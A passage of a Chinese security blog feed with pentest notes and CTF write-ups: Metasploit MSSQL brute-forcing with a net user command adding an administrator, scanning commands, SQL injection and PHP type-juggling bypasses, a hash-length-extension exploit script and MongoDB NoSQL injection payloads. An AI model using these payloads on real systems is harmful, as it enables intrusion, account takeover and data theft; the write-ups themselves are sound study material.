&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/-qing-/p/10128915.html&quot;&gt;msf各种弱口令爆破&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;同时需要熟悉find和grep命令&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/-qing-/p/10867549.html&quot;&gt;Linux find和grep命令&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;熟悉一下各种cms的常见姿势&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://drupalchina.cn/node/2128&quot;&gt;忘记Drupal的管理员密码的解决办法&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;metasploit渗透mssql服务&lt;/h3&gt;
&lt;p&gt;1433端口对应于mssql服务，第一步一般是弱口令：&lt;br /&gt;
&lt;code&gt;use auxiliary/scanner/mssql/mssql_login&lt;/code&gt; 然后设置字典路径和远程主机即可&lt;/p&gt;
&lt;p&gt;还可以使用&lt;code&gt;auxiliary/scanner/mssql/mssql_ping&lt;/code&gt;进一步收集信息&lt;/p&gt;
&lt;p&gt;之后尝试登陆mssql服务&lt;br /&gt;
&lt;code&gt;use auxiliary/admin/mssql/mssql_exec&lt;/code&gt; 可以设置cmd&lt;code&gt;set CMD cmd.exe /c net user&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;添加管理员用户，远程登陆：&lt;br /&gt;
&lt;code&gt;cmd.exe /c net user shenlan test /add&amp;amp;net localgroup administrator shenlan /add&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;开启3389端口一般是提供远程桌面服务，&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;%E6%B8%97%E9%80%8F%E4%B9%8B%E2%80%94%E2%80%94Metasploit%E6%B8%97%E9%80%8FMSSQL&quot;&gt;渗透之——Metasploit渗透MSSQL&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;masscan扫描工具&lt;/h3&gt;
&lt;p&gt;扫描指定网络和端口：&lt;br /&gt;
&lt;code&gt;masscan.exe -p80 192.168.81.1/24&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;扫描指定主机所有开放的端口：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;masscan.exe -p0-65535 192.168.81.143&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;--banners&lt;/code&gt;可以获取服务器的banner信息 &lt;code&gt;--echo&lt;/code&gt;选项将配置信息保存下来，这样可以下一次快速扫描&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;masscan.exe -p80,443,3306 192.168.81.143 —banners —echo&amp;gt;1.conf 保存配置信息&lt;br /&gt;
masscan.exe -c 1.conf 读取配置信息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;--rate&lt;/code&gt;提高扫描速度&lt;br /&gt;
&lt;a href=&quot;%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7%EF%BC%9AWindows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap&quot;&gt;渗透技巧：Windows平台运行Masscan和Nmap&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;nmap高级使用技巧&lt;/h3&gt;
&lt;p&gt;nmap常见的扫描方式：&lt;/p&gt;
&lt;p&gt;半开放扫描: -sS 没有建立三次握手连接，速度很快&lt;br /&gt;
全连接扫描：-sT 三次握手过程，速度较慢&lt;br /&gt;
扫描UDP端口： -sU&lt;/p&gt;
</content:encoded></item><item><title>实验吧web</title><link>https://rayepeng.net/posts/%E5%AE%9E%E9%AA%8C%E5%90%A7web/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%AE%9E%E9%AA%8C%E5%90%A7web/</guid><pubDate>Tue, 06 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;记录一下实验吧的wp&lt;/p&gt;
&lt;h2&gt;后台登陆&lt;/h2&gt;
&lt;p&gt;ctrl+u查看源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- $password=$_POST[&apos;password&apos;];
	$sql = &quot;SELECT * FROM admin WHERE username = &apos;admin&apos; and password = &apos;&quot;.md5($password,true).&quot;&apos;&quot;;
	$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)&amp;gt;0){
			echo &apos;flag is :&apos;.$flag;
		}
		else{
			echo &apos;密码错误!&apos;;
		} --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一上来就问管理员密码，并且要求登陆，那么是爆破呢，还是爆破呢？&lt;/p&gt;
&lt;p&gt;emmmmm其实这题的考点是md5的&lt;/p&gt;
&lt;p&gt;查了一下官方文档，md5函数的第二个参数如果为true,那么就会返回原始16字符二进制格式&lt;/p&gt;
&lt;p&gt;而且sql语句显然是可以拼接注入的，关键在于如何注入了&lt;/p&gt;
&lt;p&gt;提供一个字符串： ffifdyop&lt;br /&gt;
md5后，276f722736c95d99e921722cf9ed621c再转成字符串:’ ‘ ‘or’ 6解析:存在 or 即代码的两边有一边为真既可以绕过，后面的其实为垃圾代码没有任何用的。or 后面有6，非零值即为真。既可以成功绕过。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php&quot;&gt;http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当然看评论也有说密码就是e58的&lt;br /&gt;
&lt;a href=&quot;https://www.jianshu.com/p/&quot;&gt;参考&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;认真一点&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://ctf5.shiyanbar.com/web/earnest/index.php&quot;&gt;http://ctf5.shiyanbar.com/web/earnest/index.php&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这道题是盲注的题目，不太好搞&lt;/p&gt;
&lt;h2&gt;天下武功唯快不破&lt;/h2&gt;
&lt;p&gt;这个可以通过浏览器抓包，然后发现响应头中有一个FLAG字段显然是base64加密过的，解密之后就会得到提示，让你写脚本post提交&lt;/p&gt;
&lt;p&gt;我写的垃圾代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


res = urllib.urlopen(&quot;http://ctf5.shiyanbar.com/web/10/10.php&quot;)

head = str(res.headers)

FLAG = head[head.index(&apos;FLAG&apos;)+6:head.index(&apos;FLAG&apos;)+48+6]

flagBase64 = base64.decodestring(FLAG)

TrueFlag = flagBase64[flagBase64.index(&apos;:&apos;)+1:]

data = {&apos;key&apos;: TrueFlag}
res = requests.post(url=&apos;http://ctf5.shiyanbar.com/web/10/10.php&apos;, data=data)

print res.content
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;师傅写的代码比我好看多了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# coding:utf8


url = &quot;http://ctf4.shiyanbar.com/web/10.php&quot; # 目标URL
s = requests.Session() # 获取 Session
response = s.get(url) # 打开链接
head = response.headers # 获取响应头
flag = base64.b64decode(head[&apos;flag&apos;]).split(&apos;:&apos;)[1] # 获取相应头中的Flag
print flag # 打印Flag
postData = {&apos;key&apos;: flag} # 构造Post请求体
result = s.post(url=url, data=postData) # 利用Post方式发送请求
# (注意要在同一个Session中 , 有的时候还需要设置Cookies , 但是此题不需要)
print result.text # 打印响应内容
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;拐弯抹角&lt;/h2&gt;
&lt;p&gt;这个涉及到我的知识盲区，叫做伪静态页面&lt;br /&gt;
&lt;a href=&quot;https://baike.baidu.com/item/%E4%BC%AA%E9%9D%99%E6%80%81&quot;&gt;百度百科&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;payload 如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://ctf5.shiyanbar.com/indirection/index.php/a/index.php&quot;&gt;http://ctf5.shiyanbar.com/indirection/index.php/a/index.php&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Forms&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;作为网络安全的人才，一定要仔细观察每一处地方&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;比如这个题目的表单：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;
    PIN:&amp;lt;br&amp;gt;
    &amp;lt;input type=&quot;password&quot; name=&quot;PIN&quot; value=&quot;&quot;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;showsource&quot; value=0&amp;gt;
    &amp;lt;button type=&quot;submit&quot;&amp;gt;Enter&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很明显看到，有一个&lt;code&gt;hidden&lt;/code&gt;字段，而且是&lt;code&gt;showsource&lt;/code&gt;,如果将其修改为1就能得到源码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;源码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$a = $_POST[&quot;PIN&quot;];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
    echo &quot;Congratulations! The flag is $flag&quot;;
} else {
    echo &quot;User with provided PIN not found.&quot;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;emmmm后面就不说了&lt;/p&gt;
&lt;h2&gt;天网管理系统&lt;/h2&gt;
&lt;p&gt;查看源码有隐藏字段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- $test=$_GET[&apos;username&apos;]; $test=md5($test); if($test==&apos;0&apos;) --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;联想到php代码审计的小trick&lt;/p&gt;
&lt;p&gt;md5(QNKCDZO)得到的结果是0e开头的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到提示，&lt;/p&gt;
&lt;p&gt;访问&lt;code&gt;http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$unserialize_str = $_POST[&apos;password&apos;]; $data_unserialize = unserialize($unserialize_str); if($data_unserialize[&apos;user&apos;] == &apos;???&apos; &amp;amp;&amp;amp; $data_unserialize[&apos;pass&apos;]==&apos;???&apos;) { print_r($flag); } 伟大的科学家php方言道：成也布尔，败也布尔。 回去吧骚年
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;天真的我以为那三个问号就是真的问号&lt;/p&gt;
&lt;p&gt;唉。。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

$a = array(&apos;user&apos;=&amp;gt;true, &apos;pass&apos;=&amp;gt;true);
$b = serialize($a);

$c = unserialize($b);
var_dump($b);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将这个作为password输入&lt;code&gt;a:2:{s:4:&quot;user&quot;;b:1;s:4:&quot;pass&quot;;b:1;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;忘记密码&lt;/h2&gt;
&lt;p&gt;这个题目有点难度&lt;/p&gt;
&lt;p&gt;不过还是要获取信息&lt;/p&gt;
&lt;p&gt;查看源代码发现两处关键信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;admin&quot; content=&quot;admin@simplexue.com&quot; /&amp;gt;
&amp;lt;meta name=&quot;editor&quot; content=&quot;Vim&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;告诉了你管理员的邮箱和vim。。告诉我vim干嘛？当然是swp文件了&lt;/p&gt;
&lt;p&gt;此处访问&lt;code&gt;http://ctf5.shiyanbar.com/10/upload/.submit.php.swp&lt;/code&gt;可以得到swp文件&lt;br /&gt;
(这是通过抓包知道发现表单上传的就是这个文件，多试几次，记得在文件名前加*.*)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT &apos;0&apos;,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, &apos;****不可见***&apos;, &apos;***不可见***&apos;, 0);
*/

........这一行是省略的代码........

if(!empty($token)&amp;amp;&amp;amp;!empty($emailAddress)){
	if(strlen($token)!=10) die(&apos;fail&apos;);
	if($token!=&apos;0&apos;) die(&apos;fail&apos;);
	$sql = &quot;SELECT count(*) as num from `user` where token=&apos;$token&apos; AND email=&apos;$emailAddress&apos;&quot;;
	$r = mysql_query($sql) or die(&apos;db error&apos;);
	$r = mysql_fetch_assoc($r);
	$r = $r[&apos;num&apos;];
	if($r&amp;gt;0){
		echo $flag;
	}else{
		echo &quot;失败了呀&quot;;
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;token是0e00000000即可绕过&lt;/p&gt;
&lt;p&gt;payload如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin%40simplexue.com&amp;amp;token=0e00000000&quot;&gt;http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin%40simplexue.com&amp;amp;token=0e00000000&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>windows资源管理器神器</title><link>https://rayepeng.net/posts/windows%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E5%99%A8%E7%A5%9E%E5%99%A8/</link><guid isPermaLink="true">https://rayepeng.net/posts/windows%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E5%99%A8%E7%A5%9E%E5%99%A8/</guid><pubDate>Mon, 05 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;一直很困惑不知道如何使用资源管理器，每次复制粘贴文件都需要同时打开多个资源管理器然后再emmmm，然后就会嫌资源管理器太多了就无脑x掉了，这时候就会发现mmp我刚打开的资源管理器呢。。。然后又要去找emmmm&lt;/p&gt;
&lt;p&gt;于是去搜了一下用来增强资源管理器的工具找到了这个： &lt;code&gt;QTTabBar&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;可以说是体验很棒了&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://qttabbar.wikidot.com/&quot;&gt;网址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;比如多标签页&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/tool0.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再比如文件和文件夹预览&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/tool1.gif.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;总之很棒就是了&lt;/p&gt;
</content:encoded></item><item><title>初见哈希扩展攻击</title><link>https://rayepeng.net/posts/%E5%88%9D%E8%A7%81%E5%93%88%E5%B8%8C%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%88%9D%E8%A7%81%E5%93%88%E5%B8%8C%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/</guid><pubDate>Mon, 05 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;目前还是太菜了，向师傅们好好学习&lt;/p&gt;
&lt;h2&gt;SSRF me&lt;/h2&gt;
&lt;p&gt;点开首页就是一长串代码, curl重定向保存到文件中,然后仔细分析了一下&lt;a href=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/index.py&quot;&gt;代码&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;程序主要涉及到三个参数,一个是param在get中,另外两个action和sign是通过cookie获得的&lt;br /&gt;
访问&lt;code&gt;/geneSign&lt;/code&gt;可以得到sign的值, action可以是&lt;code&gt;scan&lt;/code&gt;或&lt;code&gt;read&lt;/code&gt;,但是在访问&lt;code&gt;/De1ctf&lt;/code&gt;时,会检验sign是否正确,sign的生成算法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这其中&lt;code&gt;secret_key&lt;/code&gt;是不知道的,并且&lt;code&gt;gengeSign&lt;/code&gt;限制了action只能是&lt;code&gt;scan&lt;/code&gt;,结合后来题目的提示是访问&lt;code&gt;flag.txt&lt;/code&gt;,但是最多将这个文件读入&lt;code&gt;result.txt&lt;/code&gt;,却不能读取出来。&lt;/p&gt;
&lt;p&gt;这样想来是不是只能爆破&lt;code&gt;secret_key&lt;/code&gt;了？但是&lt;code&gt;secret_key&lt;/code&gt;又怎么会那么容易给你呢。。&lt;/p&gt;
&lt;p&gt;这就涉及到我的知识盲区了,叫做哈希扩展攻击。。&lt;/p&gt;
&lt;p&gt;先看实验吧一道例题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这题，注入不想注入，源码没扫出来，啥信息都没有？&lt;/p&gt;
&lt;p&gt;还是要多关注抓包的信息，尤其是数据包中出现了一些你都没有看过的东西的时候就要仔细看一看了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;hhh没想到吧&lt;/p&gt;
&lt;p&gt;原来可以通过这种方式获取到源代码。。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$flag = &quot;XXXXXXXXXXXXXXXXXXXXXXX&quot;;
$secret = &quot;XXXXXXXXXXXXXXX&quot;; // This secret is 15 characters long for security!

$username = $_POST[&quot;username&quot;];
$password = $_POST[&quot;password&quot;];

if (!empty($_COOKIE[&quot;getmein&quot;])) {
    if (urldecode($username) === &quot;admin&quot; &amp;amp;&amp;amp; urldecode($password) != &quot;admin&quot;) {
        if ($COOKIE[&quot;getmein&quot;] === md5($secret . urldecode($username . $password))) {
            echo &quot;Congratulations! You are a registered user.\n&quot;;
            die (&quot;The flag is &quot;. $flag);
        }
        else {
            die (&quot;Your cookies don&apos;t match up! STOP HACKING THIS SITE.&quot;);
        }
    }
    else {
        die (&quot;You are not an admin! LEAVE.&quot;);
    }
}

setcookie(&quot;sample-hash&quot;, md5($secret . urldecode(&quot;admin&quot; . &quot;admin&quot;)), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE[&quot;source&quot;])) {
    setcookie(&quot;source&quot;, 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE[&quot;source&quot;] != 0) {
        echo &quot;&quot;; // This source code is outputted here
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;empty函数 非空返回false，别想多了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;关键在这里：&lt;br /&gt;
&lt;code&gt;if ($COOKIE[&quot;getmein&quot;] === md5($secret . urldecode($username . $password))) {&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;$secret&lt;/code&gt;是不知道的，&lt;code&gt;$username&lt;/code&gt;和&lt;code&gt;password&lt;/code&gt;是可以控制的，并且&lt;code&gt;$secret&lt;/code&gt;的长度是15&lt;/p&gt;
&lt;p&gt;哈希扩展攻击的原理之后再讨论，我们先分析这题咋搞&lt;/p&gt;
&lt;p&gt;首先username必须是admin,password不能是admin那就随便输一个值比如cck&lt;/p&gt;
&lt;p&gt;我们的目标很简单，就是绕过它&lt;br /&gt;
&lt;code&gt;if ($COOKIE[&quot;getmein&quot;] === md5($secret . urldecode($username . $password))) {&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;所以目标就是让&lt;code&gt;$COOKIE[&quot;getmein&quot;]&lt;/code&gt;和md5后的值相等，所以需要同时伪造两边的值天平才能平衡&lt;/p&gt;
&lt;p&gt;而hashpump工具就是来干这个的：&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一个参数是&lt;code&gt;md5($secret . urldecode(&quot;admin&quot; . &quot;admin&quot;))&lt;/code&gt;的值，第二个参数是填充的数据，第三个参数是填充数据加key的长度，第四个参数是添加的数据。&lt;br /&gt;
这样就能同时生成天平左边和右边的值了&lt;/p&gt;
&lt;p&gt;当然还需要URL编码一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;理解了这题那么这道De1ctf的题目也就好说了&lt;/p&gt;
&lt;p&gt;参考ctftime上的exp代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&quot;&quot;&quot;
hashpump(hexdigest, original_data, data_to_add, key_length) -&amp;gt; (digest, message)

Arguments:
    hexdigest(str):      Hex-encoded result of hashing key + original_data.
    original_data(str):  Known data used to get the hash result hexdigest.
    data_to_add(str):    Data to append
    key_length(int):     Length of unknown data prepended to the hash

Returns:
    A tuple containing the new hex digest and the new message.
&apos;
&quot;&quot;&quot;
payload = &apos;flag.txt&apos;
param = &apos;param=&apos; + payload
base_url = &apos;http://139.180.128.86/&apos;
signurl = base_url + &apos;geneSign?&apos; + param
r = requests.post(url=signurl,cookies={&apos;action&apos;:&apos;scan&apos;})
sign = r.content
print(sign)
readsign,add_data = hashpumpy.hashpump(sign,payload+&apos;scan&apos;,&apos;read&apos;,16)
print(readsign)
# print add_data
add_data = add_data[len(payload):]
print(add_data)
expurl = base_url + &apos;De1ta?&apos; + param
print(urllib.parse.quote(add_data))
r = requests.post(url=expurl,cookies={&apos;action&apos;:urllib.parse.quote(add_data),&apos;sign&apos;:readsign})
print(r.content)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然我用的是python3，并且注意&lt;code&gt;urllib.parse.quote(add_data)&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;就成功了&lt;/p&gt;
</content:encoded></item><item><title>noSQL Injection</title><link>https://rayepeng.net/posts/nosql-injection/</link><guid isPermaLink="true">https://rayepeng.net/posts/nosql-injection/</guid><pubDate>Sun, 04 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;cybrics noSQL&lt;/h2&gt;
&lt;p&gt;这道题是cybrics的一道web题，由于是第一次接触noSQL注入，所以单独拿出来好好研究一下&lt;/p&gt;
&lt;p&gt;php操作mongodb的语法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// connect to mongodb
$m = new MongoClient();
// select a database
$db = $m-&amp;gt;test;
// select collection
$collection = $db-&amp;gt;users;

$cursor = $collection-&amp;gt;find($data);
$cursor = $collection-&amp;gt;findone($data);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;基本上就是实例化对象，选择数据库，选择表，然后开始查找&lt;/p&gt;
&lt;p&gt;查询语法主要如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;db.user.find({&apos;username&apos;: &apos;xxxppp&apos;})

//查找用户名不为admin且password为123456的用户
db.user.find({&apos;username&apos;:{$ne:&apos;admin&apos;}, &apos;password&apos;:&apos;123456&apos;})

//正则匹配：

db.customer.find({&apos;name&apos;: {&apos;$regex&apos;:&apos;.*s.*&apos;} })
db.user.find({&apos;username&apos;:/jrx/i})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这道题目首先可以用&lt;code&gt;dirsearch&lt;/code&gt;发现是git源码泄露，之后用&lt;code&gt;GitHacker.py&lt;/code&gt;获取到源码&lt;/p&gt;
&lt;p&gt;查看&lt;code&gt;index.php&lt;/code&gt;，首先要登陆，需要绕过&lt;code&gt;auth&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function auth($username, $password) {
    $collection = (new MongoDB\Client(&apos;mongodb://localhost:27017/&apos;))-&amp;gt;test-&amp;gt;users;
    $raw_query = &apos;{&quot;username&quot;: &quot;&apos;.$username.&apos;&quot;, &quot;password&quot;: &quot;&apos;.$password.&apos;&quot;}&apos;;
    $document = $collection-&amp;gt;findOne(json_decode($raw_query));
    if (isset($document) &amp;amp;&amp;amp; isset($document-&amp;gt;password)) {
        return true;
    }
    return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;username&lt;/code&gt;和&lt;code&gt;password&lt;/code&gt;都没有经过过滤就拼接了，但是这里有一个&lt;code&gt;json_decode&lt;/code&gt;不太好过&lt;/p&gt;
&lt;p&gt;如果没有&lt;code&gt;json_decode&lt;/code&gt;函数，我们可以通过&lt;code&gt;{&quot;username&quot;:&quot;admin&quot;,&quot;password&quot;:{&quot;$ne&quot;:&quot;1&quot;}}&lt;/code&gt;绕过登陆的限制&lt;/p&gt;
&lt;p&gt;于是这样做：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/nosql0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样就绕过限制登陆了&lt;/p&gt;
&lt;p&gt;来看第二个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    $filter = $_GET[&apos;filter&apos;];

    $collection = (new MongoDB\Client(&apos;mongodb://localhost:27017/&apos;))-&amp;gt;test-&amp;gt;news;

    $pipeline = [
        [&apos;$group&apos; =&amp;gt; [&apos;_id&apos; =&amp;gt; &apos;$category&apos;, &apos;count&apos; =&amp;gt; [&apos;$sum&apos; =&amp;gt; 1]]],
        [&apos;$sort&apos; =&amp;gt; [&apos;count&apos; =&amp;gt; -1]],
        [&apos;$limit&apos; =&amp;gt; 5],
    ];

    $filters = [
        [&apos;$project&apos; =&amp;gt; [&apos;category&apos; =&amp;gt; $filter]]
    ];

    $cursor = $collection-&amp;gt;aggregate(array_merge($filters, $pipeline));
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;array_merge&lt;/code&gt;函数将&lt;code&gt;$pipeline&lt;/code&gt;和&lt;code&gt;filters&lt;/code&gt;进行合并&lt;/p&gt;
&lt;p&gt;查找资料得知&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在mongodb的aggregate中，可以使用$cond进行条件语句：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;并且：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/noSql1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以构造如下链接，匹配到&lt;code&gt;flag&lt;/code&gt;时将其移除&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&amp;amp;filter[$cond][if][$eq][]=$category&amp;amp;filter[$cond][then]=$$REMOVE&amp;amp;filter[$cond][else]=$category&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;利用条件语句，发现flags时，就输出其title：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&amp;amp;filter[$cond][if][$eq][]=$category&amp;amp;filter[$cond][then]=$title&amp;amp;filter[$cond][else]=$category&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;从title中我们得知有text，那么读取：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&amp;amp;filter[$cond][if][$eq][]=$category&amp;amp;filter[$cond][then]=$text&amp;amp;filter[$cond][else]=$category&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;就可以获得flag了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/nosql2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;NoSQL注入实践&lt;/h2&gt;
&lt;p&gt;MongoDb作为一个NoSQL的数据库，操作其实还是很SQL很相似的&lt;/p&gt;
